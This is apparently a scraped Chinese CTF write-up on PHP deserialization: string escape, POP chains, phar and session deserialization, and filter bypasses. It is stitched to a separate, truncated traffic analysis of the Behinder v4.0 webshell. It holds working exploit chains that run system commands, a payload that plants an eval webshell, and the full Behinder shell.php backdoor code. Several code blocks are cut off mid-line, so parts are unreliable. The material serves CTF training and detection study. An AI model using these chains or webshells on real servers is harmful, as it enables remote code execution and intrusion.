Name('admin','100');   echo urlencode(serialize($a));   //echo serialize($a);   //O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D   ?> 反序列化逃逸问题 逃逸问题的本质是改变序列化字符串的长度,导致反序列化漏洞 所以会有两种情况,一种是由长变短,一种是由短变长 由长变短 自己随手写个题测试下 <?php   highlight_file(__FILE__);   class A   {   public $a;   public $b;   public $c;   public function __construct()   {   $this->a=$_GET['a'];   $this->b="noflag";   $this->c=$_GET['c'];   }   public function check()   {   if ($this->b==="123")   {   echo "flag{123dddd}";   }   else if ($this->a==="test")   {   echo "give you flag";   }   else   {   echo "no flag";   }   }   public function __destruct()   {   $this->check();   }   }   $a=new A();   $b=serialize($a);   $c=str_replace("aa","b",$b);   unserialize($c); 这里本地写一个测试简单利用下,学会这个逃逸思路即可 $b=serialize($a);   echo $b;   $c=str_replace("aa","b",$b);   echo($c);   //O:1:"A":3:{s:1:"a";s:4:"aaaa";s:1:"b";s:6:"noflag";s:1:"c";s:2:"11";}   //O:1:"A":3:{s:1:"a";s:4:"bb";s:1:"b";s:6:"noflag";s:1:"c";s:2:"11";} 这里测试一下,很明显可以看见4个aaaa 变成了两个b,但s:4依然是四个字符串,a的值就相当于是从aaaa变成了bb";这样,相当于往后吞噬掉了两位,而这个题需要$b为123才能给flag, $this->b="noflag";而这个已经给b赋值了,我们序列化出来可以看到s:1:"b";s:6:"noflag",之前可以看出,利用这个过滤可以吞噬掉后边的序列化,那岂不是可以把后边的都吞噬掉,然后根据序列化格式补全,依然可以正常的反序列化出来,把$b的值给覆盖掉 开始构造 然后计算要吞噬掉多少位 print(len('";s:1:"b";s:6:"noflag";s:1:"c";s:3:'))   print(36*'aa')   //35   //aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa 35个长度,构造出来肯定超过十个了,所以s:1的1会变成十位数,多出一位,所以要+1,用36个aa a=36个aa,c=;s:1:"b";s:3:"123 这样构造出来为 O:1:"A":3:{s:1:"a";s:72:"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:1:"b";s:6:"noflag";s:1:"c";s:17:";s:1:"b";s:3:"123";} bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:1:"b";s:6:"noflag";s:1:"c";s:17: print(len('bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:1:"b";s:6:"noflag";s:1:"c";s:17:')) 刚好为72个,成功反序列化,得到flag 由短变长 题目来自ctfshowWEB262 index.php <?php   error_reporting(0);   class message{   public $from;   public $msg;   public $to;   public $token='user';   public function __construct($f,$m,$t){   $this->from = $f;   $this->msg = $m;   $this->to = $t;   }   }   $f = $_GET['f'];   $m = $_GET['m'];   $t = $_GET['t'];   if(isset($f) && isset($m) && isset($t)){   $msg = new message($f,$m,$t);   $umsg = str_replace('fuck', 'loveU', serialize($msg));   setcookie('msg',base64_encode($umsg));   echo 'Your message has been sent';   }   highlight_file(FILE); 从题目注释里可以找到message.php message.php源码 <?php   highlight_file(__FILE__);   include('flag.php');   class message{   public $from;   public $msg;   public $to;   public $token='user';   public function __construct($f,$m,$t){   $this->from = $f;   $this->msg = $m;   $this->to = $t;   }   }   if(isset($_COOKIE['msg'])){   $msg = unserialize(base64_decode($_COOKIE['msg']));   if($msg->token=='admin'){   echo $flag;   }   } 很明显,要想得到flag要把token值更改为admin 但是正常反序列化,字符串个数是固定的,$umsg = str_replace('fuck', 'loveU', serialize($msg));但是这里fuck被替换为loveU,四个字符被替换成五个字符,简单演示一下 <?php class test { public $username="fuckfuck"; public $password; } $a=new test(); //echo serialize($a); echo str_replace('fuck','loveU',serialize($a)); //O:4:"test":2:{s:8:"username";s:8:"fuckfuck";s:8:"password";N;} //O:4:"test":2:{s:8:"username";s:8:"loveUloveU";s:8:"password";N;} 可以很明显的看出来,s:8字符串应该是8个,替换后变为10个,因为有两个fuck,这样还看不出来什么,如果我们把多的字符串改为";s:5:"token";s:5:"admin";}而此时后面的";s:5:"token";s:4:"user";}这个就无效了 因为php在反序列化时,底层代码是以;作为字段的分隔,以}作为结尾,并且是根据长度判断内容的 ,同时反序列化的过程中必须严格按照序列化规则才能成功实现反序列化 伪造的序列化字符串变成真的了,伪造的序列化字符串长度为27,loveU比fuck多一位 那么需要27个fuck就行 payload ?f=1 &m=1 &t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";} 然后访问message.php即可 当然这个有非预期解,直接修改token值写到cookie里就行,不过关键是了解到反序列化字符串逃逸问题的思路 POP链构造 做这种题关键是php魔术方法,构造PHP先找到头部和尾部,头部就是用户可控的地方,也就是可以传入参数的地方,然后找尾部,比如关键代码,eval,file_put_contents这种,然后从尾部开始推导,根据魔术方法的特性,一步一步往上触发,根据下面的题,来学习下 [SWPUCTF 2021 新生赛]pop 题目源码 <?php error_reporting(0); show_source("index.php"); class w44m{ private $admin = 'aaa'; protected $passwd = '123456'; public function Getflag(){ if($this->admin === 'w44m' && $this->passwd ==='08067'){ include('flag.php'); echo $flag; }else{ echo $this->admin; echo $this->passwd; echo 'nono'; } } } POP链入手,先找关键代码,然后推断 需要admin为w44m,passwd为08067 才能得到flag if($this->admin === 'w44m' && $this->passwd ==='08067'){ echo $flag; 发现可以利用$this->w00m->{$this->w22m}(); 这个地方,修改w22m=getflag,那么这个地方就有getflag()函数了 在类w22m中 方法__destruct中echo $this->w00m;echo了一个对象,会触发tostring方法 前面魔术方法提到 __toString 当一个对象被当作一个字符串被调用。这样的话我们便可以利用to_Sting方法里面的代码了,传参点是w00m, 链子构造为 w22m::__destruct->w33m::toString->w44m::getflag poc如下,这里要用urlencode,因为我们前面提到private和protected生产序列化有不可见字符 <?php class w44m{ private $admin = 'w44m'; protected $passwd = '08067'; } class w22m{ public $w00m; public function __destruct(){ echo $this->w00m; } } class w33m{ public $w00m=""; public $w22m="getflag"; public function __toString(){ $this->w00m->{$this->w22m}(); return 1; } } $a=new w22m(); $a->w0 [NISACTF 2022]babyserialize <?php   include "waf.php";   class NISA{   public $fun="show_me_flag";   public $txw4ever;   public function __wakeup()   {   if($this->fun=="show_me_flag"){   hint();   }   }   function __call($from,$val){   $this->fun=$val[0];   }   public function __toString()   {   echo $this->fun;   return " ";   }   public function __invoke()   {   checkcheck($this->txw4ever);   @eval($this->txw4ever);   }   }   class TianXiWei{   public $ext;   public $x;   public function __wakeup()   {   $this->ext->nisa($this->x);   }   }   class Ilovetxw{   public $huang;   public $su;   public function __call($fun1,$arg){   $this->huang->fun=$arg[0];   }   public function __toString(){   $bb = $this->su;   return $bb();   }   }   class four{   public $a="TXW4EVER";   private $fun='abc';   public function __set($name, $value)   {   $this->$name=$value;   if ($this->fun = "sixsixsix"){   strtolower($this->a);   }   }   }   if(isset($_GET['ser'])){   @unserialize($_GET['ser']);   }else{   highlight_file(__FILE__);   }   //func checkcheck($data){   // if(preg_match(......)){   // die(something wrong);   // }   //}   //function hint(){   // echo ".......";   // die();   //}   ?> 查看了一下提示发现什么也没有 if(isset($_GET['ser'])){@unserialize($_GET['ser']); 这是头部 这是尾部 public function __invoke(){checkcheck($this->txw4ever);@eval($this->txw4ever); } 从__invoke()这里开始触发 __invoke() 当脚本尝试将对象调用为函数时触发 return $bb()而这里有一个函数调用 那么$bb是class Nisa的对象就会调用 __invoke 触发$bb要调用 __toString() 而__toString()是 当一个对象被当作一个字符串被调用。 找类似echo 这种代码,而这里有个strtolower strtolower是在set方法里的 __set触发 在给不可访问的(protected或者private)或者不存在的属性赋值的时候,会被调用 在four类的中有private $fun='abc'; Ilovetxw类中的__call方法访问了fun这个变量 function __call($from,$val){ $this->fun=$val[0]; } 而__call方法 对不存在的方法或者不可访问的方法进行调用就自动调用 TianXiWei类中的wakeup会触发call $this->ext->nisa($this->x); nisa()这个方法并不存在 这里详细说下 <?php   class nisa   {   public $b="";   }   class TianXiWei{   public $ext;   public $x;   public function __wakeup()   {   $this->ext->nisa($this->x);   }   }   class test   {   public $a ="";   public function __call($a,$b)   {   echo "call";   }   }   $a=new TianXiWei();   $a->ext=new test();   //echo urlencode(serialize($a));   echo serialize($a);//O:9:"TianXiWei":2:{s:3:"ext";O:4:"test":1:{s:1:"a";s:0:"";}s:1:"x";N;}   //echo serialize($a->ext);//O:4:"test":1:{s:1:"a";s:0:"";} wakeup方法反序列化会触发,而里面nisa方法并不存在,$a->ext=new test()这样会触发到call,在本地测试的时候这样调用会echo call,另外我们可以看出序列化$a和$->ext是不一样的结果 链子很清晰了 TianXiWei::__wakeup->Ilovetxw::__call->four::__set->Ilovetxw::__toString->NISA::__invoke POC <?php   class NISA   {   public $fun = "";   public $txw4ever = "sYstem('ls /');";//有过滤,大小写绕过   }   class TianXiWei{   public $ext;   public $x;   }   class Ilovetxw{   public $huang;   public $su;   }   class four{   public $a="TXW4EVER";   private $fun='abc';   }   $a=new TianXiWei();//从这里下手触发__wakeup   $a->ext=new Ilovetxw();//触发__call   $a->ext->huang=new four();//触发__set   $a->ext->huang->a=new Ilovetxw();//触发__tosrting   $a->ext->huang->a->su=new NISA();//触发__invoke   echo urlencode(serialize($a)); 相信到这里,做这种题已经有一定思路了,不要着急,找到方向,然后一步一步去构造 phar反序列化 单的理解phar反序列化 phar是什么? phar是php提供的一类文件的后缀名称,也是php伪协议的一种。 phar可以干什么? 将多个php文件合并成一个独立的压缩包,相对独立 不用解压到硬盘就可以运行php脚本 支持web服务器和命令行运行 注意要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件 phar文件的的结构 一个phar文件通常由四部分组成, 1. a stub:可以理解为一个标志,格式为xxx<?php xxx; __HALT_COMPILER();?>,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。 2. a manifest describing the contents:phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。 3. the file contents:被压缩文件的内容。这里不是重点,内容不影响 4. [optional] a signature for verifying Phar integrity (phar file format only):签名,放在文件末尾 <?php class Test {//自定义 } @unlink("phar.phar"); $phar = new Phar("phar.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub $o = new Test(); $phar->setMetadata($o); //将自定义的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动 生成一个phar.phar文件 拉进010分析 可以清楚看到一个标识符,一个序列化,一个文件名 有序列化数据必然会有反序列化操作 ,php一大部分的文件系统函数 通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化 ,受影响的函数如下 is_dir(),is_file(),is_link(),copy(),file(),stat(),readfile(),unlink(),filegroup(),fileinode(),fileatime(),filectime(),fopen(),filemtime(),fileowner(),fileperms(),file_exits(),file_get_contents(),file_put_contents(),is_executable(),is_readable(),is_writable(),parse_ini_file <?php   highlight_file(__FILE__);   class Test {//自定义   public $name='phpinfo();';   }   $phar=new phar('rce.phar');   $phar->startBuffering();   $phar->setStub("<?php __HALT_COMPILER(); ?>");   $o=new Test();   $phar->setMetadata($o);   $phar->addFromString("flag.txt","flag");//添加要压缩的文件   //签名自动计算   $phar->stopBuffering();   ?> 这里用file_get_contents测试下 <?php class test{ public $name=''; public function __destruct() { eval($this->name); } } echo file_get_contents('phar://rce.phar/flag.txt'); ?> 漏洞利用条件 phar文件要能够上传到https://cloud.tencent.com/product/cvm?from=10680端。 要有可用的魔术方法作为“跳板”。 文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤。 姿势 compress.bzip://phar:///test.phar/test.txt compress.bzip2://phar:///test.phar/test.txt compress.zlib://phar:///home/sx/test.phar/test.txt php://filter/resource=phar:///test.phar/test.txt php://filter/read=convert.base64-encode/resource=phar://phar.phar 可以用于文件上传,有文件上传头限制,还可以这样,例如GIF $phar->setStub(“GIF89a”."<?php __HALT_COMPILER(); ?>"); //设置stub 这样可以生成一个phar.phar,修改后缀名为phar.gif [SWPUCTF 2021 新生赛]babyunser phar反序列化 查看class.php获取源码 <?php   class aa{   public $name;   public function __construct(){   $this->name='aa';   }   public function __destruct(){   $this->name=strtolower($this->name);   }   }   class ff{   private $content;   public $func;   public function __construct(){   $this->content="<?php @eval($_POST[1]);?>";   }   public function __get($key){   $this->$key->{$this->func}($_POST['cmd']);   }   }   class zz{   public $filename;   public $content='surprise';   public function __construct($filename){   $this->filename=$filename;   }   public function filter(){   if(preg_match('/^/|php:|data|zip|..//i',$this->filename)){   die('这不合理');   }   }   public function write($var){   $filename=$this->filename;   $lt=$this->filename->$var;   //此功能废弃,不想写了   }   public function getFile(){   $this->filter();   $contents=file_get_contents($this->filename);   if(!empty($contents)){   return $contents;   }else{   die("404 not found");   }   }   public function __toString(){   $this->{$_POST['method']}($_POST['var']);   return $this->content;   }   }   class xx{   public $name;   public $arg;   public function __construct(){   $this->name='eval';   $this->arg='phpinfo();';   }   public function __call($name,$arg){   $name($arg[0]);   }   } <?php   error_reporting(0);   $filename=$_POST['file'];   if(!isset($filename)){   die();   }   $file=new zz($filename);   $contents=$file->getFile();   ?>   <br>   <textarea class="file_content" type="text" value=<?php echo "<br>".$contents;?> 构造链子 先找到关键的代码$this->$key->{$this->func}($_POST['cmd']);,通过这个可以构造命令执行,所以要想办法触发__get($key), __get() 用于从不可访问的属性读取数据,ff类的 private $content;是不可访问的属性 访问content可以触发get() ,而aa::destruct方法里面有$this->name=strtolower($this->name),strtolower这个函数之前提到,可以触发tostring,利用它去触发zz::_tostring方法,利用方法里的$this->{$POST['method']}($_POST['var']);去构造method=write&var=content, aa::destruct()->zz::toString()->zz::write->xx->ff::__get() 看着好奇怪,为什么要用write去这样钩爪,因为__get()触发需要,构造write函数进行访问content成员,不仅要用这个属性去new一个对象,还要对它进行访问 如下代码进行测试 <?php   class test   {   private $a;   public $b;   public function __construct($a,$b)   {   $this->a="aaa";   $this->b="bbb";   }   public function __get($name)   {   // TODO: Implement __get() method.   $this->a="__get";   $this->b="111";   }   public function __destruct()   {   echo $this->a;   echo $this->b;   }   }   $a =new test("s","s");   //echo $a->a;   $b=serialize($a);   unserialize($b); 注释掉echo 输出是aaabbbaaabbb 去掉注释输出是get111get111 如此那么构造POP链子 <?php   class aa{   public $name;   }   class ff{   private $content;   public $func;   public function __construct(){   $this->content=new xx();//这里New xx   }   }   class zz{   public $filename;   public $content;   }   class xx   {   public $name;   public $arg;   }   $a=new aa();   $c=new ff();   $a->name=new zz();   $c->func="system";   $a->name->filename=$c;   $phar = new Phar("flag.phar"); //后缀名必须为phar   $phar->startBuffering();   $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub   //$o = new Test();   $phar->setMetadata($a); //将自定义的meta-data存入manifest   $phar->addFromString("test.txt", "test"); //添加要压缩的文件   //签名自动计算   $phar->stopBuffering(); 上传之后使用phar协议读取 file=phar://upload%2Fab83ba92f17bf9599f4bfc31f92811f2.txt&method=write&var=content&cmd=cat /flag session反序列化 session与cookie很像,都是客户端与服务端会话时,用户的标识, PHP session 解决了这个问题,它通过在服务器上存储用户信息以便随后使用(比如用户名称、购买商品等)。然而,会话信息是临时的,在用户离开网站后将被删除。如果您需要永久存储信息,可以把数据存储在数据库中。 而session是以文件方式存储的 直接找一道题做做 题目来自ctfshowWEB263 打开是一个登录页面,用目录扫描扫一下,这里我用的是dirsearch dirsearch -u "http://invalid.uri -e* 存在源码泄露,访问http://www.zip,下载下来源码,关键代码 index.php源码 */   error_reporting(0);   session_start();   //超过5次禁止登陆   if(isset($_SESSION['limit'])){   $_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);   $_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);   }else{   setcookie("limit",base64_encode('1'));   $_SESSION['limit']= 1;   }   ?> check.php源码 <?php   /*   # -*- coding: utf-8 -*-   # @Author: h1xa   # @Date: 2020-09-03 16:59:10   # @Last Modified by: h1xa   # @Last Modified time: 2020-09-06 19:15:38   # @email: h1xa@ctfer.com   # @link: https://ctfer.com   */   error_reporting(0);   require_once 'inc/inc.php';   $GET = array("u"=>$_GET['u'],"pass"=>$_GET['pass']);   if($GET){   $data= $db->get('admin',   [ 'id',   'UserName0'   ],[   "AND"=>[   "UserName0[=]"=>$GET['u'],   "PassWord1[=]"=>$GET['pass'] //密码必须为128位大小写字母+数字+特殊符号,防止爆破   ]   ]);   if($data['id']){   //登陆成功取消次数累计   $_SESSION['limit']= 0;   echo json_encode(array("success","msg"=>"欢迎您".$data['UserName0']));   }else{   //登陆失败累计次数加1   $_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit'])+1);   echo json_encode(array("error","msg"=>"登陆失败"));   }   } inc.php中有一个这个 ini_set('session.serialize_handler', 'php'); 而session存储格式(序列化)其中有这两种 ini_set('session.serialize_handler', 'php'); ini_set('session.serialize_handler', ' php_serialize '); 测试一下看这两个什么区别 <?php ini_set('session.serialize_handler','php'); session_start(); class test1{ public $a="test"; } $a=new test1(); $_SESSION['user']=$a; 在tmp下找到这个文件打开看 是 user|O:5:"test1":1:{s:1:"a";s:4:"test";}<?php ini_set('session.serialize_handler','php_serialize'); session_start(); class test1{ public $a="test"; } $a=new test1(); $_SESSION['user']=$a;a:1:{s:4:"user";O:5:"test1":1:{s:1:"a";s:4:"test";}} 两种方式的区别主要是“|”符号,在php机制中,只会序列化“|”符号后面的内容 inc.php中关键代码 class User{ public $username; public $password; public $status; function __construct($username,$password){ $this->username = $username; $this->password = $password; } function setStatus($s){ $this->status=$s; } function __destruct(){ file_put_contents("log-".$this->username, "使用".$this->password."登陆 可以利用这个函数写一句话木马 而session_start() 函数会解析 session 文件,就相当于进行了反序列化,session值我们是可控的,这样的话反序列化有了,只要构造出序列化字符串触发 User类 的 __destruct方法就可以了 <?php   class User   {   public $username;   public $password;   function __construct($username, $password)   {   $this->username = $username;   $this->password = $password;   }   }   $a=new User('1.php','<?php eval($_POST["1"]);?>');   echo base64_encode("|".serialize($a)); 访问的时候文件名是log-拼接,所以是log-1.php,index.php里面三元条件运算符: $SESSION['limti']>5?die("登陆失败次数超过限制"):$SESSION['limit']=base64_decode($_COOKIE['limit') 第一个式子不成立,则执行$SESSION['limit']=base64_decode($COOKIE['limit') ,因为有base64_decode,所以这里我们还有base64_encode一下 抓包改limit值 然后发包,接着访问check.php 实现反序列化shell的写入 然后变更请求方法,注意直接右键选择变更POST请求 tricks总结 16进制绕过字符过滤 //O:1:"A":1:{s:2:"ab";s:4:"test";} //O:1:"A":1:{S:2:"61b";s:4:"test";}//s改为大写S会被当成16进制解析 //61是a的16进制 php类名对大小写不敏感 ctfshowWEB266 <?php highlight_file(__FILE__); include('flag.php'); $cs = file_get_contents('php://input'); class ctfshow{ public $username='xxxxxx'; public $password='xxxxxx'; public function __construct($u,$p){ $this->username=$u; $this->password=$p; } public function login(){ return $this->username===$this->pas 很明显是触发析构函数就得到了flag,但是有过滤,如果匹配到了ctfshow就抛异常, 这题用到的知识点是PHP类名对大小写不敏感,可以清楚看到过滤并没有过滤大小写 直接这样 $cs = file_get_contents('php://input');采用php伪协议传参 直接提交POST数据就行 <?php   class cTfshow   {   }   $a=new cTfshow();   echo (serialize($a)); +号绕过 ctfshowWEB258 <?php   error_reporting(0);   highlight_file(__FILE__);   class ctfShowUser{   public $username='xxxxxx';   public $password='xxxxxx';   public $isVip=false;   public $class = 'info';   public function __construct(){   $this->class=new info();   }   public function login($u,$p){   return $this->username===$u&&$this->password===$p;   }   public function __destruct(){   $this->class->getInfo();   }   }   class info{   public $user='xxxxxx';   public function getInfo(){   return $this->user;   }   }   class backDoor{   public $code;   public function getInfo(){   eval($this->code);   }   }   $username=$_GET['username'];   $password=$_GET['password'];   if(isset($username) && isset($password)){   if(!preg_match('/[oc]:d+:/i', $_COOKIE['user'])){   $user = unserialize($_COOKIE['user']);   }   $user->login($username,$password);   }   可见增加了过滤,过滤例如如下o:123:、c:456: s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";s:5:"isVip";b:0;s:5:"class";O:8:"backDoor":1:{s:4:"code";s:10:"phpinfo();";}}phpinfo() 正常反序列化肯定会有o和c这种 如果O:后面不跟数字的话就可以把这个绕过去了 这里可以用+号,具体原因是跟PHP底层代码有关,+号判断也是可以正常的反序列化的 这里把O:后面加上一个加号 <?php   error_reporting(0);   highlight_file(__FILE__);   class ctfShowUser{   public $username='xxxxxx';   public $password='xxxxxx';   public $isVip=false;   public $class = 'info';   public function __construct(){   $this->class=new backDoor();   }   public function __destruct(){   $this->class->getInfo();   }   }   class backDoor{   public $code="phpinfo();";   public function getInfo(){   eval($this->code);   }   }   $a=new ctfShowUser();   //echo urlencode(serialize($a));   $a=serialize($a);   $a=preg_replace('/[oc]+:/i','O:+',$a);   echo urlencode($a); 利用&使两值恒等 题目ctfshow web265 <?php   error_reporting(0);   include('flag.php');   highlight_file(__FILE__);   class ctfshowAdmin{   public $token;   public $password;   public function __construct($t,$p){   $this->token=$t;   $this->password = $p;   }   public function login(){   return $this->token===$this->password;   }   }   $ctfshow = unserialize($_GET['ctfshow']);   $ctfshow->token=md5(mt_rand());   if($ctfshow->login()){   echo $flag;   } $ctfshow->login()这个成立才给flag $ctfshow->token=md5(mt_rand());但是这个是随机的 这个题考察php按地址传参 <?php   $a='11';   $b=&$a;   $b=1;   echo $a;//$b被赋值的是变量a的地址,php是按地址传参,a的值会随b值变化   //1 所以我们可以直接这样 <?php   class ctfshowAdmin{   public $token;   public $password;   public function __construct(){   $this->password = &$this->token;   }   }   $a=new ctfshowAdmin();   echo ( urlencode(serialize($a))); php7.1+反序列化对类属性不敏感 题目来自[网鼎杯 2020 青龙组]AreUSerialz <?php   include("flag.php");   highlight_file(__FILE__);   class FileHandler {   protected $op;   protected $filename;   protected $content;   function __construct() {   $op = "1";   $filename = "/tmp/tmpfile";   $content = "Hello World!";   $this->process();   }   public function process() {   if($this->op == "1") {   $this->write();   } else if($this->op == "2") {   $res = $this->read();   $this->output($res);   } else {   $this->output("Bad Hacker!");   }   }   private function write() {   if(isset($this->filename) && isset($this->content)) {   if(strlen((string)$this->content) > 100) {   $this->output("Too long!");   die();   }   $res = file_put_contents($this->filename, $this->content);   if($res) $this->output("Successful!");   else $this->output("Failed!");   } else {   $this->output("Failed!");   }   }   private function read() {   $res = "";   if(isset($this->filename)) {   $res = file_get_contents($this->filename);   }   return $res;   }   private function output($s) {   echo "[Result]: <br>";   echo $s;   }   function __destruct() {   if($this->op === "2")   $this->op = "1";   $this->content = "";   $this->process();   }   }   function is_valid($s) {   for($i = 0; $i < strlen($s); $i++)   if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))   return false;   return true;   }   if(isset($_GET{'str'})) {   $str = (string)$_GET['str'];   if(is_valid($str)) {   $obj = unserialize($str);   }   } 看着很多,其实没什么东西, 关键要利用到这里 大致看了write函数或者read函数,都可以尝试利用得到flag 但是__destruct()方法 $this->content = "";会把content值为空,我们没有办法去利用这个write函数,所以看看read函数 __destruct()方法里有一个强类型比较,$this->op === "2",如果我们把op=2;不加引号,那么为int类型,则$this->op === "2"为false,这样在process()方法里,就会调用read方法 接着就是绕过 is_valid函数 ,由于有protected属性,会有不可打印字符,而不可打印字符被 is_valid函数限制住了,所以需要绕过,那么在php7.1版本以上可以直接修改属性 因为php7.1以上的版本对属性类型不敏感,所以可以将属性改为public,public属性序列化不会出现不可见字符 POC如下 <?php   class FileHandler {   public $op=2;   public $filename="flag.php";   public $content="111";   pr   }   $a = new FileHandler();   echo urlencode(serialize($a));   ?> payload ?str=O%3A11%3A%22FileHandler%22%3A3%3A%7Bs%3A2%3A%22op%22%3Bi%3A2%3Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A7%3A%22content%22%3Bs%3A3%3A%22111%22%3B%7D
冰蝎V4.0流量分析到攻防检测
0x01 前言 最近在改写 yso,觉得自己基础太差了,想先阅读一下 sqlmap、冰蝎以及一些其他工具的开发思路。文章可能写的不够严谨,有不对的地方还请师傅们多多指出。 0x02 环境搭建 这里我看的是 MountCloud 师傅所二开的冰蝎项目,版本是 4.0.2;其实就是通过反编译搞出来的,但是这里不要用 jd-gui 或者 jadx 这些反编译,我用的是 MountCloud 师傅自己写的反编译工具,地址:https://github.com/MountCloud/JavaDecompileTool-GUI 冰蝎项目源码地址:https://github.com/MountCloud/BehinderClientSource 拿到之后用 maven package 打包一下,运行 jar 包即可,同时要将 data.db 放到 jar 包同一目录下。 0x03 冰蝎的使用与流量分析 冰蝎的使用 我们看冰蝎的客户端界面,对于 shell 其实是没有输入密码模块的,其实在冰蝎当中 shell 是通过传输协议配置的。 这一传输协议的加密函数是用 Java 写的,并且 key 是默认的,不需要自己修改,我们点击生成服务端,则会生成三个 shell 文件,分别为 .php、.aspx 和 .jsp,这里我们起个环境然后连 shell(这里我是用虚拟机的环境,因为一开始用本机起一直 wireshark 抓不到流量,如果踩坑的师傅也欢迎私信和我交流) 我们可以看一下 shell.php(先对 xor_base64 的传输协议进行分析,后续分析 xor_base64 这种加密方式的攻防性),代码如下,此处代码和 v3.0 的相当不一样。 v4.0 的代码 <?php @error_reporting(0); function decrypt($data) {    $key="25f9e794323b4538";    $bs="base64_"."decode"; $after=$bs($data.""); for($i=0;$i<strlen($after);$i++) {   $after[$i] = $after[$i]^$key[$i+1&15];   }    return $after; } $post=Decrypt(file_get_contents("php://input"));    eval($post); ?> 这里的 key 就是对应的连接密码,当然在冰蝎“传输协议”当中,可以自定义密码。 v3.0 的代码 <?php @error_reporting(0); session_start();    $key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond $_SESSION['k']=$key; session_write_close(); $post=file_get_contents("php://input"); if(!extension_loaded('openssl')) { $t="base64_"."decode"; $post=$t($post.""); for($i=0;$i<strlen($post);$i++) {   $post[$i] = $post[$i]^$key[$i+1&15];   } } else { $post=openssl_decrypt($post, "AES128", $key); }    $arr=explode('|',$post);    $func=$arr[0];    $params=$arr[1]; class C{public function __invoke($p) {eval($p."");}}    @call_user_func(new C(),$params); ?> v3.0 和 v4.0 的区别很明显在于这里 $_SESSION['k']=$key,v3.0 版本当中会把 key 作为 session 传入;接着判断 extension_loaded,也就是判断服务端是否存在 openssl 拓展,如果不存在就用 base64 解码,然后使用 key 进行异或加密,这也是冰蝎 v4.0 版本当中的 xor_base64 加密方式;如果服务端能够加载 openssl 拓展,就使用 AES128 解密,这里对应冰蝎 v4.0 版本当中的 aes 加密方式。 冰蝎流量分析 看了网上一堆分析的文章,都在说冰蝎的通信过程可以分为两个阶段:密钥协商和加密传输 第一阶段-密钥协商 1.攻击者通过 GET 或者 POST 方法,形如 http://127.0.0.1/shell.php?pass=645 的请求服务器密钥; 2.服务器使用随机数 MD5 的高16位作为密钥,存储到会话的 $_SESSION 变量中,并返回密钥给攻击者。 第二阶段-加密传输 1)客户端把待执行命令作为输入,利用 AES 算法或 XOR 运算进行加密,并发送至服务端; 2)服务端接受密文后进行 AES 或 XOR 运算解密,执行相应的命令; 3)执行结果通过 AES 加密后返回给攻击者。 但是我自己在分析的过程中并没有看到这个密钥协商的过程,同时也没有看到 $_SESSION 变量当中存储了 md5 的高 16 位,反而 $_SESSION 变量存储的是一个 26 位的字符。不知道这里是我的问题还是冰蝎 4.0 版本就是如此。 我先选取的是 xor_base64 的加密方式,我在连上马之后还执行了 whoami 命令,如果不算上自己的命令执行,一共是两组流量,我们来分析一下。 第一段代码,经过 xor_base64 的解密,得到如下代码 @error_reporting(0); function main($content) {    $result = array();    $result["status"] = base64_encode("success");    $result["msg"] = base64_encode($content);    @session_start();        echo encrypt(json_encode($result)); } function encrypt($data) {        $key="25f9e794323b4538";    for($i=0;$i<strlen($data);$i++) {        $data[$i] = $data[$i]^$key[$i+1&15];       }        $bs="base64_"."encode";    $after=$bs($data."");        return $after; } $content="WWtpektNWU1PREpybFB6VlQwdXY1T2JoMkNsMzVmZmVPZ0pDQnZaZElKejhVaGc1ZU42NnlCYWI3YVVqakJ4U3BRcnpneEdJT3pmclR5QWFVQ2Nqa2pTVm1OTU9LNzlrNHhzRjJjd2F2OTF2WFRITG9KdWpmMHpFeU9lTmFWRmdYQUdPT0loaHJKM0JSMkZNaUo5VjZwWGtwb2xQUWNyWGY1UzBuV05SYkE5eHFacmZUM3B4UG1jR3l2RTcxUUtCSkhMa0NJdms5NzdYM2FmZWFmazd4bkpHYl $content=base64_decode($content); main($content); 我个人倾向于是认为冰蝎 V4.0 版本当中,这一个包涵盖了密钥协商的部分,并且在这一个包之后重置了 $_session,而 msg 和第一个包里的 content 是相同的,所以我认为这一部分其实也在做密钥协商(后来看了冰蝎作者的文章,果然如此) 接着我们往下看相应报文,相应报文经过 xor_base64 解密之后结果如下 { "status":"c3VjY2Vzcw==", "msg":"WWtpektNWU1PREpybFB6VlQwdXY1T2JoMkNsMzVmZmVPZ0pDQnZaZElKejhVaGc1ZU42NnlCYWI3YVVqakJ4U3BRcnpneEdJT3pmclR5QWFVQ2Nqa2pTVm1OTU9LNzlrNHhzRjJjd2F2OTF2WFRITG9KdWpmMHpFeU9lTmFWRmdYQUdPT0loaHJKM0JSMkZNaUo5VjZwWGtwb2xQUWNyWGY1UzBuV05SYkE5eHFacmZUM3B4UG1jR3l2RTcxUUtCSkhMa0NJdms5NzdYM2FmZWFmazd4bkpHYlc0M } 经过 